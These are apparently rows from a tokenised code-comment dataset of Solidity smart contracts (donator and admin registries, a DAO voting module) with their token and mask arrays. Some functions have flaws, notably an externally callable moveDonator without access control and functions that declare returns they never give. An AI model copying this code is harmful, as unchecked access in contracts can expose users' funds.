groupDonators[_groupId].getNextId(_fromId); uint i = 0; while (id > 0 && i < _count) { result[i] = id; id = groupDonators[_groupId].getNextId(id); i++; } return result; } /** * @dev Move a donator to a new position * @param _groupId group id. * @param _id donator id. * @param _to set after this position. * @return uint * //revert */ function moveDonator(uint _groupId, uint _id, uint _to) external returns (uint) { groupDonators[_groupId].move_after(_id, _to); emit DonatorMovedInGroup(msg.sender, _groupId, _id, _to); } /** * @dev Create an admin * @param _data admin info. * @param _address admin uniq code. * @return uint */ function addAdmin( string calldata _data, address _address ) external onlyOwner returns(uint) { uint id = admins.add(_data); adminIndexes.add(_address, id); emit AdminAdded(msg.sender, id, _address); } /** * @dev Update an admin * @param _id admin id. * @param _data admin info. * @param _address admin uniq code. * @return uint */ function updateAdmin( uint _id, string calldata _data, address _address ) external onlyOwner returns(uint) { admins.update(_id, _data); uint id = adminIndexes.getId(_address); if (id != _id) { adminIndexes.update(_address, _id); } emit AdminUpdated(msg.sender, _id); } /** * @dev Create a admin * @param _id admin id. * @return uint */ function removeAdmin( uint _id ) external onlyOwner returns(uint) { admins.remove(_id); adminIndexes.remove(adminIndexes.getIndex(_id)); emit AdminDeleted(msg.sender, _id); } /** * @dev Get admin. * @param _id admin id. * @return uint, string, string * //revert */ function getAdmin(uint _id) external view returns ( uint id, string memory data, uint version, address index ) { (id, data, version) = admins.get(_id); return (id, data, version, adminIndexes.getIndex(_id)); } /** * @dev Get next admin. * @param _id admin id. * @return uint * //revert */ function nextAdmin(uint _id) external view returns (uint) { return admins.list.getNextId(_id); } /** * @dev Check if admins exist. * @param _ids admin ids. * @return bool[] * //revert */ function areAdmins(uint[] calldata _ids) external view returns (bool[] memory) { return admins.list.statuses(_ids); } }
* @dev Update donator and assign groups @param _data donator info. @param _externalId donator uniq code. @param _unlinkGroupIds group ids to unlink. @param _linkGroupIds group ids to link. @return uint/
function updateDonatorAndLinkGroups( uint _id, string calldata _data, string calldata _externalId, uint[] calldata _unlinkGroupIds, uint[] calldata _linkGroupIds ) external onlyAdmin returns(uint) { updateDonator(_id, _data, _externalId); linkToGroups(_id, _unlinkGroupIds, _linkGroupIds); return _id; }
12,636,168
[ 1, 1891, 2727, 639, 471, 2683, 3252, 225, 389, 892, 2727, 639, 1123, 18, 225, 389, 9375, 548, 2727, 639, 10748, 981, 18, 225, 389, 318, 1232, 1114, 2673, 1041, 3258, 358, 8255, 18, 225, 389, 1232, 1114, 2673, 1041, 3258, 358, 1692, 18, 327, 2254, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 22293, 639, 1876, 2098, 3621, 12, 203, 3639, 2254, 389, 350, 16, 203, 3639, 533, 745, 892, 389, 892, 16, 203, 3639, 533, 745, 892, 389, 9375, 548, 16, 203, 3639, 2254, 8526, 745, 892, 389, 318, 1232, 1114, 2673, 16, 203, 3639, 2254, 8526, 745, 892, 389, 1232, 1114, 2673, 203, 565, 262, 203, 565, 3903, 203, 565, 1338, 4446, 203, 565, 1135, 12, 11890, 13, 203, 565, 288, 203, 3639, 1089, 22293, 639, 24899, 350, 16, 389, 892, 16, 389, 9375, 548, 1769, 203, 3639, 1692, 774, 3621, 24899, 350, 16, 389, 318, 1232, 1114, 2673, 16, 389, 1232, 1114, 2673, 1769, 203, 3639, 327, 389, 350, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Unlicense pragma solidity >=0.7.6; import './HabitatBase.sol'; import './HabitatWallet.sol'; import './HabitatVault.sol'; import './IModule.sol'; /// @notice Voting Functionality. // Audit-1: ok contract HabitatVoting is HabitatBase, HabitatWallet, HabitatVault { event ProposalCreated(address indexed vault, bytes32 indexed proposalId, uint256 startDate); event VotedOnProposal(address indexed account, bytes32 indexed proposalId, uint8 signalStrength, uint256 shares); event DelegateeVotedOnProposal(address indexed account, bytes32 indexed proposalId, uint8 signalStrength, uint256 shares); event ProposalProcessed(bytes32 indexed proposalId, uint256 indexed votingStatus); /// @dev Validates if `timestamp` is inside a valid range. /// `timestamp` should not be under/over now +- `_PROPOSAL_DELAY`. function _validateTimestamp (uint256 timestamp) internal virtual { uint256 time = _getTime(); uint256 delay = _PROPOSAL_DELAY(); if (time > timestamp) { require(time - timestamp < delay, 'VT1'); } else { require(timestamp - time < delay, 'VT2'); } } /// @dev Parses and executes `internalActions`. /// TODO Only `TRANSFER_TOKEN` is currently implemented function _executeInternalActions (address vaultAddress, bytes calldata internalActions) internal { // Types, related to actionable proposal items on L2. // L1 has no such items and only provides an array of [<address><calldata] for on-chain execution. // enum L2ProposalActions { // RESERVED, // TRANSFER_TOKEN, // UPDATE_COMMUNITY_METADATA // } // assuming that `length` can never be > 2^16 uint256 ptr; uint256 end; assembly { let len := internalActions.length ptr := internalActions.offset end := add(ptr, len) } while (ptr < end) { uint256 actionType; assembly { actionType := byte(0, calldataload(ptr)) ptr := add(ptr, 1) } // TRANSFER_TOKEN if (actionType == 1) { address token; address receiver; uint256 value; assembly { token := shr(96, calldataload(ptr)) ptr := add(ptr, 20) receiver := shr(96, calldataload(ptr)) ptr := add(ptr, 20) value := calldataload(ptr) ptr := add(ptr, 32) } _transferToken(token, vaultAddress, receiver, value); continue; } revert('EIA1'); } // revert if out of bounds read(s) happened if (ptr > end) { revert('EIA2'); } } /// @dev Invokes IModule.onCreateProposal(...) on `vault` function _callCreateProposal ( address vault, address proposer, uint256 startDate, bytes memory internalActions, bytes memory externalActions ) internal { bytes32 communityId = HabitatBase.communityOfVault(vault); address governanceToken = HabitatBase.tokenOfCommunity(communityId); // encoding all all the statistics bytes memory _calldata = abi.encodeWithSelector( 0x5e79ee45, communityId, HabitatBase.getTotalMemberCount(communityId), getTotalValueLocked(governanceToken), proposer, getBalance(governanceToken, proposer), startDate, internalActions, externalActions ); uint256 MAX_GAS = 90000; address vaultCondition = _getVaultCondition(vault); assembly { // check if we have enough gas to spend (relevant in challenges) if lt(gas(), MAX_GAS) { // do a silent revert to signal the challenge routine that this is an exception revert(0, 0) } let success := staticcall(MAX_GAS, vaultCondition, add(_calldata, 32), mload(_calldata), 0, 0) // revert and forward any returndata if iszero(success) { // propagate any revert messages returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } /// @notice Creates a proposal belonging to `vault`. /// @param startDate Should be within a reasonable range. See `_PROPOSAL_DELAY` /// @param internalActions includes L2 specific actions if this proposal passes. /// @param externalActions includes L1 specific actions if this proposal passes. (execution permit) function onCreateProposal ( address msgSender, uint256 nonce, uint256 startDate, address vault, bytes memory internalActions, bytes memory externalActions, bytes calldata metadata ) external { HabitatBase._commonChecks(); HabitatBase._checkUpdateNonce(msgSender, nonce); _validateTimestamp(startDate); // compute a deterministic id bytes32 proposalId = HabitatBase._calculateSeed(msgSender, nonce); // revert if such a proposal already exists (generally not possible due to msgSender, nonce) require(HabitatBase._getStorage(_PROPOSAL_VAULT_KEY(proposalId)) == 0, 'OCP1'); // The vault module receives a callback at creation // Reverts if the module does not allow the creation of this proposal or if `vault` is invalid. _callCreateProposal(vault, msgSender, startDate, internalActions, externalActions); // store HabitatBase._setStorage(_PROPOSAL_START_DATE_KEY(proposalId), startDate); HabitatBase._setStorage(_PROPOSAL_VAULT_KEY(proposalId), vault); HabitatBase._setStorage(_PROPOSAL_HASH_INTERNAL_KEY(proposalId), keccak256(internalActions)); HabitatBase._setStorage(_PROPOSAL_HASH_EXTERNAL_KEY(proposalId), keccak256(externalActions)); // update member count HabitatBase._maybeUpdateMemberCount(proposalId, msgSender); if (_shouldEmitEvents()) { emit ProposalCreated(vault, proposalId, startDate); // internal event for submission deadlines _emitTransactionDeadline(startDate + _PROPOSAL_DELAY()); } } /// @dev Helper function to retrieve the governance token given `proposalId`. /// Reverts if `proposalId` is invalid. function _getTokenOfProposal (bytes32 proposalId) internal returns (address) { address vault = address(HabitatBase._getStorage(_PROPOSAL_VAULT_KEY(proposalId))); bytes32 communityId = HabitatBase.communityOfVault(vault); address token = HabitatBase.tokenOfCommunity(communityId); // only check token here, assuming any invalid proposalId / vault will end with having a zero address require(token != address(0), 'GTOP1'); return token; } /// @dev Helper function for validating and applying votes function _votingRoutine ( address account, uint256 previousVote, uint256 previousSignal, uint256 signalStrength, uint256 shares, bytes32 proposalId, bool delegated ) internal { // requires that the signal is in a specific range... require(signalStrength < 101, 'VR1'); if (previousVote == 0 && shares != 0) { // a new vote - increment vote count HabitatBase._incrementStorage(HabitatBase._VOTING_COUNT_KEY(proposalId), 1); } if (shares == 0) { // removes a vote - decrement vote count require(signalStrength == 0 && previousVote != 0, 'VR2'); HabitatBase._decrementStorage(HabitatBase._VOTING_COUNT_KEY(proposalId), 1); } HabitatBase._maybeUpdateMemberCount(proposalId, account); if (delegated) { HabitatBase._setStorage(_DELEGATED_VOTING_SHARES_KEY(proposalId, account), shares); HabitatBase._setStorage(_DELEGATED_VOTING_SIGNAL_KEY(proposalId, account), signalStrength); } else { HabitatBase._setStorage(_VOTING_SHARES_KEY(proposalId, account), shares); HabitatBase._setStorage(_VOTING_SIGNAL_KEY(proposalId, account), signalStrength); } // update total share count and staking amount if (previousVote != shares) { address token = _getTokenOfProposal(proposalId); uint256 activeStakeKey = delegated ? _DELEGATED_VOTING_ACTIVE_STAKE_KEY(token, account) : _VOTING_ACTIVE_STAKE_KEY(token, account); HabitatBase._setStorageDelta(activeStakeKey, previousVote, shares); HabitatBase._setStorageDelta(_VOTING_TOTAL_SHARE_KEY(proposalId), previousVote, shares); } // update total signal if (previousSignal != signalStrength) { HabitatBase._setStorageDelta(_VOTING_TOTAL_SIGNAL_KEY(proposalId), previousSignal, signalStrength); } } /// @dev State transition routine for `VoteOnProposal`. /// Note: Votes can be changed/removed anytime. function onVoteOnProposal ( address msgSender, uint256 nonce, bytes32 proposalId, uint256 shares, address delegatee, uint8 signalStrength ) external { HabitatBase._commonChecks(); HabitatBase._checkUpdateNonce(msgSender, nonce); address token = _getTokenOfProposal(proposalId); if (delegatee == address(0)) { // voter account address account = msgSender; uint256 previousVote = HabitatBase._getStorage(_VOTING_SHARES_KEY(proposalId, account)); // check for discrepancy between balance and stake uint256 stakableBalance = getUnlockedBalance(token, account) + previousVote; require(stakableBalance >= shares, 'OVOP1'); uint256 previousSignal = HabitatBase._getStorage(_VOTING_SIGNAL_KEY(proposalId, account)); _votingRoutine(account, previousVote, previousSignal, signalStrength, shares, proposalId, false); if (_shouldEmitEvents()) { emit VotedOnProposal(account, proposalId, signalStrength, shares); } } else { uint256 previousVote = HabitatBase._getStorage(_DELEGATED_VOTING_SHARES_KEY(proposalId, delegatee)); uint256 previousSignal = HabitatBase._getStorage(_DELEGATED_VOTING_SIGNAL_KEY(proposalId, delegatee)); uint256 maxAmount = HabitatBase._getStorage(_DELEGATED_ACCOUNT_TOTAL_AMOUNT_KEY(delegatee, token)); uint256 currentlyStaked = HabitatBase._getStorage(_DELEGATED_VOTING_ACTIVE_STAKE_KEY(token, delegatee)); // should not happen but anyway... require(maxAmount >= currentlyStaked, 'ODVOP1'); if (msgSender == delegatee) { // the amount that is left uint256 freeAmount = maxAmount - (currentlyStaked - previousVote); // check for discrepancy between balance and stake require(freeAmount >= shares, 'ODVOP2'); } else { // a user may only remove shares if there is no other choice // we have to account for // - msgSender balance // - msgSender personal stakes // - msgSender delegated balance // - delegatee staked balance // new shares must be less than old shares, otherwise what are we doing here? require(shares < previousVote, 'ODVOP3'); if (shares != 0) { // the user is not allowed to change the signalStrength if not removing the vote require(signalStrength == previousSignal, 'ODVOP4'); } uint256 unusedBalance = maxAmount - currentlyStaked; uint256 maxRemovable = HabitatBase._getStorage(_DELEGATED_ACCOUNT_ALLOWANCE_KEY(msgSender, delegatee, token)); // only allow changing the stake if the user has no other choice require(maxRemovable > unusedBalance, 'ODVOP5'); // the max. removable amount is the total delegated amount - the unused balance of delegatee maxRemovable = maxRemovable - unusedBalance; if (maxRemovable > previousVote) { // clamp maxRemovable = previousVote; } uint256 sharesToRemove = previousVote - shares; require(maxRemovable >= sharesToRemove, 'ODVOP6'); } _votingRoutine(delegatee, previousVote, previousSignal, signalStrength, shares, proposalId, true); if (_shouldEmitEvents()) { emit DelegateeVotedOnProposal(delegatee, proposalId, signalStrength, shares); } } } /// @dev Invokes IModule.onProcessProposal(...) on `vault` /// Assumes that `vault` was already validated. function _callProcessProposal ( bytes32 proposalId, address vault ) internal returns (uint256 votingStatus, uint256 secondsTillClose, uint256 quorumPercent) { uint256 secondsPassed; { uint256 dateNow = _getTime(); uint256 proposalStartDate = HabitatBase._getStorage(_PROPOSAL_START_DATE_KEY(proposalId)); if (dateNow > proposalStartDate) { secondsPassed = dateNow - proposalStartDate; } } bytes32 communityId = HabitatBase.communityOfVault(vault); // call vault with all the statistics bytes memory _calldata = abi.encodeWithSelector( 0xf8d8ade6, proposalId, communityId, HabitatBase.getTotalMemberCount(communityId), HabitatBase._getStorage(_VOTING_COUNT_KEY(proposalId)), HabitatBase.getTotalVotingShares(proposalId), HabitatBase._getStorage(_VOTING_TOTAL_SIGNAL_KEY(proposalId)), getTotalValueLocked(HabitatBase.tokenOfCommunity(communityId)), secondsPassed ); uint256 MAX_GAS = 90000; address vaultCondition = _getVaultCondition(vault); assembly { let ptr := mload(64) // clear memory calldatacopy(ptr, calldatasize(), 96) // check if we have enough gas to spend (relevant in challenges) if lt(gas(), MAX_GAS) { // do a silent revert to signal the challenge routine that this is an exception revert(0, 0) } // call let success := staticcall(MAX_GAS, vaultCondition, add(_calldata, 32), mload(_calldata), ptr, 96) if success { votingStatus := mload(ptr) ptr := add(ptr, 32) secondsTillClose := mload(ptr) ptr := add(ptr, 32) quorumPercent := mload(ptr) } } } /// @notice Updates the state of a proposal. /// @dev Only emits a event if the status changes to CLOSED or PASSED function onProcessProposal ( address msgSender, uint256 nonce, bytes32 proposalId, bytes calldata internalActions, bytes calldata externalActions ) external returns (uint256 votingStatus, uint256 secondsTillClose, uint256 quorumPercent) { HabitatBase._commonChecks(); HabitatBase._checkUpdateNonce(msgSender, nonce); { uint256 previousVotingStatus = HabitatBase.getProposalStatus(proposalId); require(previousVotingStatus < uint256(IModule.VotingStatus.CLOSED), 'CLOSED'); } // this will revert in _getVaultCondition if the proposal doesn't exist or `vault` is invalid address vault = address(HabitatBase._getStorage(_PROPOSAL_VAULT_KEY(proposalId))); (votingStatus, secondsTillClose, quorumPercent) = _callProcessProposal(proposalId, vault); // finalize if the new status is CLOSED or PASSED if (votingStatus > uint256(IModule.VotingStatus.OPEN)) { // save voting status HabitatBase._setStorage(_PROPOSAL_STATUS_KEY(proposalId), votingStatus); // PASSED if (votingStatus == uint256(IModule.VotingStatus.PASSED)) { // verify the internal actions and execute bytes32 hash = keccak256(internalActions); require(HabitatBase._getStorage(_PROPOSAL_HASH_INTERNAL_KEY(proposalId)) == uint256(hash), 'IHASH'); _executeInternalActions(vault, internalActions); // verify external actions and store a permit hash = keccak256(externalActions); require(HabitatBase._getStorage(_PROPOSAL_HASH_EXTERNAL_KEY(proposalId)) == uint256(hash), 'EHASH'); if (externalActions.length != 0) { HabitatBase._setExecutionPermit(vault, proposalId, hash); } } if (_shouldEmitEvents()) { emit ProposalProcessed(proposalId, votingStatus); } } } }
@dev Parses and executes `internalActions`. TODO Only `TRANSFER_TOKEN` is currently implemented Types, related to actionable proposal items on L2. L1 has no such items and only provides an array of [<address><calldata] for on-chain execution. enum L2ProposalActions { RESERVED, TRANSFER_TOKEN, UPDATE_COMMUNITY_METADATA } assuming that `length` can never be > 2^16 TRANSFER_TOKEN revert if out of bounds read(s) happened
function _executeInternalActions (address vaultAddress, bytes calldata internalActions) internal { uint256 ptr; uint256 end; assembly { let len := internalActions.length ptr := internalActions.offset end := add(ptr, len) } while (ptr < end) { uint256 actionType; assembly { actionType := byte(0, calldataload(ptr)) ptr := add(ptr, 1) } if (actionType == 1) { address token; address receiver; uint256 value; assembly { token := shr(96, calldataload(ptr)) ptr := add(ptr, 20) receiver := shr(96, calldataload(ptr)) ptr := add(ptr, 20) value := calldataload(ptr) ptr := add(ptr, 32) } _transferToken(token, vaultAddress, receiver, value); continue; } revert('EIA1'); } if (ptr > end) { revert('EIA2'); } }
922,795
[ 1, 6656, 471, 11997, 1375, 7236, 6100, 8338, 2660, 5098, 1375, 16596, 6553, 67, 8412, 68, 353, 4551, 8249, 7658, 16, 3746, 358, 1301, 429, 14708, 1516, 603, 511, 22, 18, 511, 21, 711, 1158, 4123, 1516, 471, 1338, 8121, 392, 526, 434, 306, 32, 2867, 4438, 1991, 892, 65, 364, 603, 17, 5639, 4588, 18, 2792, 511, 22, 14592, 6100, 288, 225, 2438, 19501, 16, 225, 4235, 17598, 67, 8412, 16, 225, 11028, 67, 4208, 49, 2124, 4107, 67, 22746, 289, 15144, 716, 1375, 2469, 68, 848, 5903, 506, 405, 576, 66, 2313, 4235, 17598, 67, 8412, 15226, 309, 596, 434, 4972, 855, 12, 87, 13, 17497, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 8837, 3061, 6100, 261, 2867, 9229, 1887, 16, 1731, 745, 892, 2713, 6100, 13, 2713, 288, 203, 203, 565, 2254, 5034, 6571, 31, 203, 565, 2254, 5034, 679, 31, 203, 565, 19931, 288, 203, 1377, 2231, 562, 519, 2713, 6100, 18, 2469, 203, 1377, 6571, 519, 2713, 6100, 18, 3348, 203, 1377, 679, 519, 527, 12, 6723, 16, 562, 13, 203, 565, 289, 203, 203, 565, 1323, 261, 6723, 411, 679, 13, 288, 203, 1377, 2254, 5034, 1301, 559, 31, 203, 203, 1377, 19931, 288, 203, 3639, 1301, 559, 519, 1160, 12, 20, 16, 745, 72, 3145, 6189, 12, 6723, 3719, 203, 3639, 6571, 519, 527, 12, 6723, 16, 404, 13, 203, 1377, 289, 203, 203, 1377, 309, 261, 1128, 559, 422, 404, 13, 288, 203, 3639, 1758, 1147, 31, 203, 3639, 1758, 5971, 31, 203, 3639, 2254, 5034, 460, 31, 203, 3639, 19931, 288, 203, 1850, 1147, 519, 699, 86, 12, 10525, 16, 745, 72, 3145, 6189, 12, 6723, 3719, 203, 1850, 6571, 519, 527, 12, 6723, 16, 4200, 13, 203, 1850, 5971, 519, 699, 86, 12, 10525, 16, 745, 72, 3145, 6189, 12, 6723, 3719, 203, 1850, 6571, 519, 527, 12, 6723, 16, 4200, 13, 203, 1850, 460, 519, 745, 72, 3145, 6189, 12, 6723, 13, 203, 1850, 6571, 519, 527, 12, 6723, 16, 3847, 13, 203, 3639, 289, 203, 3639, 389, 13866, 1345, 12, 2316, 16, 9229, 1887, 16, 5971, 16, 460, 1769, 203, 3639, 1324, 31, 203, 1377, 289, 203, 203, 1377, 15226, 2668, 41, 15188, 21, 2 ]
./full_match/5/0x417cAeabf656a388EC60A7d3C61fF864179B5698/sources/project_/contracts/MoMABurn.sol
Address of new token for Tier 1
address public tier1ContractAddress;
1,873,606
[ 1, 1887, 434, 394, 1147, 364, 399, 2453, 404, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 1071, 17742, 21, 8924, 1887, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]